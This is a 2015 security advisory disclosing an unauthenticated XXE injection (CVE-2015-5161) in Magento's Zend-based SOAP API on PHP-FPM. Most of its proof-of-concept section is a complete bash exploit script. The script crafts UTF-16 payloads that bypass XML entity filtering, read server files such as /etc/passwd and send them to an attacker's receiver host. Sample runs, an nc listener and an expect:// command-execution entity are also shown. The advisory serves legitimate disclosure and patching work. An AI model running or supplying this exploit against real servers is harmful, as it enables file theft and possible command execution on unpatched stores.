=============================================
- Release date: 29.10.2015
- Discovered by: Dawid Golunski
- Severity: High/Critical
- eBay Magento ref.: APPSEC-1045
=============================================

 
I. VULNERABILITY
-------------------------

eBay Magento CE <= 1.9.2.1       XML eXternal Entity Injection (XXE) on PHP FPM
eBay Magento EE <= 1.14.2.1      

 
II. BACKGROUND
-------------------------

- eBay Magento eCommerce

http://magento.com/

"More than 240,000 merchants worldwide put their trust in our eCommerce 
software. Magento's eCommerce platform gives you the tools you need to attract 
more prospects, sell more products, and make more money. It's what we do.

We're owned by eBay, so you know we're eCommerce experts"


- PHP FPM

http://php.net/manual/en/install.fpm.php

"FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with
 some additional features (mostly) useful for heavy-loaded sites."

Starting from release 5.3.3 in early 2010, PHP merged the php-fpm fastCGI 
process manager into its codebase. 

 
III. INTRODUCTION
-------------------------

eBay Magento eCommerce application uses Zend Framework which has a 
vulnerability that allows for XML eXternal Entity injection in applications
served with PHP FPM.

XXE (XML eXternal Entity) attack is an attack on an application that parses XML 
input from untrusted sources using incorrectly configured XML parser. 
The application may be forced to open arbitrary files and/or network resources.
Exploiting XXE issues on PHP applications may also lead to denial of service or
in some cases (e.g. when an 'expect' PHP module is installed) lead to command 
execution.


IV. DESCRIPTION
-------------------------
 
The aforementioned XXE vulnerability in Zend Framework which affects eBay 
Magento, was assigned a CVE-ID of CVE-2015-5161 and can be found in a 
separate advisory at:

http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt

In short, the Zend Framework XXE vulnerability stems from an insufficient 
sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP 
applications. 
By using certain multibyte encodings within XML, it is possible to bypass 
the sanitisation and perform certain XXE attacks.

Since eBay Magento is based on Zend Framework and uses several of its XML
classes, it also inherits this XXE vulnerability.

The vulnerability in Zend affects all its XML components, however there 
are two vulnerable Zend Framework vulnerable components:

 - Zend_XmlRpc_Server 
 - Zend_SOAP_Server 

that are of special interest to attackers as they could be exploited remotely 
without any authentication. 

Magento implements a store API providing XML/SOAP web services. 
Although the Zend_XmlRpc is present within Magento code base, the testing 
revealed that an older Zend class was used for its implementation, which is
not vulnerable.

However, further testing revealed that Magento SOAP API was implemented using
the Zend_SOAP_Server class from Zend Framework, which is vulnerable to the 
XXE injection vulnerability discovered earlier.

 
V. PROOF OF CONCEPT
-------------------------
 
Normally, when an XML containing entities is supplied to magento SOAP API, the
following message gets produced:

<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>Sender</faultcode>
<faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE 
attacks</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope> 

Below is a POC exploit that automates the steps necessary to bypass this
protection on Magento served with PHP-FPM, and remotely exploit the XXE issue 
in Magento's SOAP API without authentication.
Authentication is not required for the exploitation, as Magento first needs to
load the malicious XML data in order to read credentials within the SOAP 
login method. Loading malicious XML may be enough to trigger attacker's payload
within the entities (in case of libxml2 library auto-expanding entities).


---[ magento-soap-exploit.sh ]---

#!/bin/bash
#
# POC Exploit (v1.1)
#
# eBay Magento CE  <= 1.9.2.1  XML eXternal Entity Injection (XXE) on PHP-FPM
# eBay Magento EE  <= 1.14.2.1
#
# CVE-2015-5161
#
# Credits:
#
# Dawid Golunski
# dawid (at) legalhackers.com
# http://legalhackers.com
#
# Advisories:
#
# http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt
# http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt
#
# Usage:
#
# [Vulnerability test]
#
# This is to test the vulnerability with a simple XXE payload which retrieves the
# /dev/random file and causes a time out. No receiver server is required in this
# test as no data is returned.
#
# Run the script with just the URL to Magento SOAP API, with no other parameters. 
# E.g:
# ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index
#
#
# [File retrieval from the remote server]
# 
# ./magento-soap-exploit.sh MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT
#
# E.g:
# ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index /etc/hosts 192.168.10.5 80
#
# In this example, file extracted via the XXE attack will be sent as base64 encoded parameter to:
# http://192.168.10.5:80/fetch.php?D=[base64_string]
# You should have the receiver server/script listening on the specified port before running this exploit.
#

TIMEOUT=6
PAYLOAD_TMP_FILE="/tmp/payload-utf16.xml"

if [ $# -ne 1 ] && [ $# -ne 4 ] ; then 
	echo -e "\nUsage: \n"
	echo -e "[Vulnerability test]\n"
	echo -e "$0 MAGENTO_SOAP_API_URL"
	echo -e "E.g:"
	echo -e "$0 http://fpmserver/magento/index.php/api/soap/index\n";
	echo -e "[File retrieval]\n"
	echo -e "$0 MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT"
	echo -e "E.g:"
	echo -e "$0 http://fpmserver/magento/index.php/api/soap/index /etc/hosts 192.168.5.6 80\n";
	exit 2;
else 
	TARGETURL="$1"
fi
if [ $# -eq 4 ]; then 
	FILE="$2"	
	RECEIVER_HOST="$3"
	RECEIVER_PORT="$4"
	TEST_ONLY=0
else
	TEST_ONLY=1
fi 

if [ $TEST_ONLY -eq 1 ]; then 
	# Vulnerability test 
	# Perform only a test by reading /dev/random file
	TEST_PAYLOAD_XML='<?xml version="1.0" encoding="UTF-16"?>
	<!DOCTYPE foo [  
	<!ELEMENT PoC ANY >
	<!ENTITY % xxe SYSTEM "file:///dev/random" >
		%xxe;
	]>'

	echo "$TEST_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE
	echo -e "Target URL: $TARGETURL\nInjecting Test XXE payload (/dev/random). Might take a few seconds.\n"

	# Fetching /dev/random should cause the remote script to block
	# on reading /dev/random until the script times out.
	# If there is no delay it means the remote script is not vulnerable or 
	# /dev/random is not accessible.
	START=$(date +%s)
	wget -t 1 -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE
	END=$(date +%s)
	DIFF=$(expr $END \- $START )

	if [ $DIFF -eq $TIMEOUT ]; then
		echo "Vulnerable. No response from Magento for $DIFF seconds :)"
		exit 0
	else 
		echo "Not vulnerable, or there is no /dev/random on the remote server ;)"
		exit 1
	fi
else 
	# File retrieval XXE payload
	SEND_DTD="<?xml version=\"1.0\" encoding=\"UTF-8\"?>
	<!ENTITY % all \"<!ENTITY &#37; send SYSTEM 'php://filter/read=/resource=http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php?D=%file;'>\">
	%all;"
	SEND_DTD_B64="`echo "$SEND_DTD" | base64 -w0`"
	FILE_PAYLOAD_XML="<?xml version=\"1.0\" encoding=\"UTF-16\"?>
	<!DOCTYPE foo [  
	<!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=$FILE\">
	<!ENTITY % dtd SYSTEM \"data://text/plain;base64,$SEND_DTD_B64\">
	%dtd;

	%send;
	]>"

	# Retrieve $FILE from the remote server and send it to $RECEIVER_HOST:$RECEIVER_PORT
	echo "$FILE_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE
	echo -e "Target URL: $TARGETURL\n\nInjecting XXE payload to retrieve the $FILE file..."
	echo -e "If successful, Base64 encoded result will be sent to http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php/D=[base64_result]\n"
	echo -e "If in doubt, try the vulnerability test option.\n"
	wget -t 1 -v -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE
fi


--------------------------------

The above exploit uses the Out of band XXE payload which sends
any retrieved data back to the attacker even though the attacker cannot
see the resulting file in the server's response directly. 
This exploit also bypasses the LIBXML_NONET libxml setting imposed by the Zend 
Framework which prohibits network access. This is achieved through the usage of
php://filter wrapper which is treated as a local resource by the XML ENTITY 
handler even though it references remote resources. 

Successful exploitation in a test mode ('Vulnerability test', exploit run 
without parameters other than the URL to Magento SOAP API) will result in a 
time out and an internal server error caused by the XML ENTITY accessing 
/dev/random file which will block the API script. 

For example:

---

$ ./magento-soap-exploit.sh http://vulnhost/magento/index.php/api/soap/index
Target URL: http://vulnhost/magento/index.php/api/soap/index
Injecting Test XXE payload (/dev/random). Might take a few seconds.

--2015-05-19 22:14:17--  http://vulnhost/magento/index.php/api/soap/index
Resolving precise (vulnhost)... 127.0.0.1
Connecting to vulnhost (vulnhost)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed out) in 
headers. Giving up.

Vulnerable. No response from Magento for 6 seconds :)

---


Arbitrary file accessible to the PHP process can also be fetched with the 
above exploit by using the following syntax:

---

attacker$ ./magento-soap-exploit.sh http://vulnhost/magento/index.php/api/soap/index /etc/passwd attackershost 9090

Target URL: http://vulnhost/magento/index.php/api/soap/index
Injecting XXE payload to retrieve the /etc/passwd file... 

If successful, Base64 encoded result will be sent to http://attackershost:9090/fetch.php/D=[base64_result]
If in doubt, try the vulnerability test option.

--2015-05-19 22:33:06--  http://vulnhost/magento/index.php/api/soap/index
Resolving vulnhost (vulnhost)... 192.168.57.12
Connecting to vulnhost (vulnhost)|192.168.57.12|:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed out) in 
headers. Giving up.

---

The result will be sent to attacker's server listening on port 9090 which
needs to be set up before running the exploit:

---

attacker# nc -vv -l 9090

Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.57.12] port 9090 [tcp/*] accepted (family 2, sport 47227)
GET /fetch.php?D=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovY[...cut...] HTTP/1.0
Host: attackershost:9090


attacker# echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovY' | base64 -d

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]

---


It may also be possible to execute arbitrary commands on the remote server
if the remote PHP installation has the 'expect' module enabled.
In such case, an attacker could use expect:// wrapper within XML ENTITY
to execute any command in the context of the PHP process.
For example, by adding the XML entity of:

<ENTITY % file SYSTEM "expect://id">

the attacker could execute the /usr/bin/id command on the remote Magento host.


VI. BUSINESS IMPACT
-------------------------

This issue should be marked as high/critical due to the wide deployment of 
eBay Magento software, low complexity of exploitation, as well as a possibility
of an unauthenticated remote exploitation as demonstrated in this advisory. 
If successful, an attacker could access sensitive files available to the
web server process, cause Denial Of Service, or even execute arbitrary commands
on the server with the permissions of the PHP/web process if certain PHP 
modules are installed.

There is also a growing number of servers set up to serve PHP code with 
PHP-FPM, especially in web hosting environments which need to respond to heavy
load.
There are official Magento tutorials explaining how to set up Magento with Nginx
and PHP FPM for best performance:

http://info.magento.com/rs/magentocommerce/images/
MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf
 
VII. SYSTEMS AFFECTED
-------------------------

Versions of eBay Magento CE equal to 1.9.2.1, or older can be exploited on a
web server with PHP-FPM SAPI.
eBay Magento EE was not tested, but is also affected by this issue according
to the vendor (see APPSEC-1045), up to version EE 1.14.2.1.

To be exploitable, the system must have a version of libxml library which 
expands XML entities without additional libxml2 settings. This is true for 
older versions, as well as newer versions of libxml2 with missing updates,
such as a fairly recent patch for the issue of CVE-2014-0191. 
For some distributions (see references below) libxml2 patches were released 
as late as April 2015, and for this reason, there are likely many systems 
which still lack the libml2 updates and allow to exploit the Magento/Zend 
vulnerability described in this advisory.

The exploit however does not depend on a PHP version installed. In fact, the
exploit was confirmed to work on Fedora 21 with a new (a month's old) PHP 
version of:

PHP Version => 5.6.14
Build Date => Sep 30 2015 13:53:16

The issue can also be exploited on multiple web servers, as PHP-FPM can be set
up on popular web servers such as Apache, or Nginx on Linux/Unix, as well as 
Windows systems (as per the 'fpm on cygwin' setup guides available on the 
Internet).

 
VIII. SOLUTION
-------------------------

eBay Magento was informed about the issue and assigned it a reference ID of
APPSEC-1045. eBay released a patch bundle titled:

'SUPEE-6788 Patch Bundle'

prior to the release of this advisory. 
To address the vulnerability, the patch should be installed, or Magento should 
be upgraded to the latest version of 1.9.2.2 which already contains the fix.
 
IX. REFERENCES
-------------------------

http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt

http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt

http://framework.zend.com/security/advisory/ZF2015-06

Powering Magento with Ngnix and PHP-FPM:
http://info.magento.com/rs/magentocommerce/images/MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf

http://www.securiteam.com/

http://seclists.org/fulldisclosure/2015/Oct/105

Official eBay Magento website:
http://magento.com/

Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML 
Functionality Using Multibyte Payloads' (APPSEC-1045) is available at:

http://merch.docs.magento.com/ce/user_guide/magento/patch-releases-2015.html

CVE-2014-0191 :
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0191
https://bugzilla.redhat.com/show_bug.cgi?id=1090976


X. DISCOVERED BY
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com
 
XI. REVISION HISTORY
-------------------------

Oct 29th, 2015:  Advisory released

Nov 3rd,  2015:  Updated exploit to work on newer libxml2 versions such as 
                 2.9.1 without CVE-2014-0191 patch, updated 'Systems affected' 
                 section, plus minor updates in other sections
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.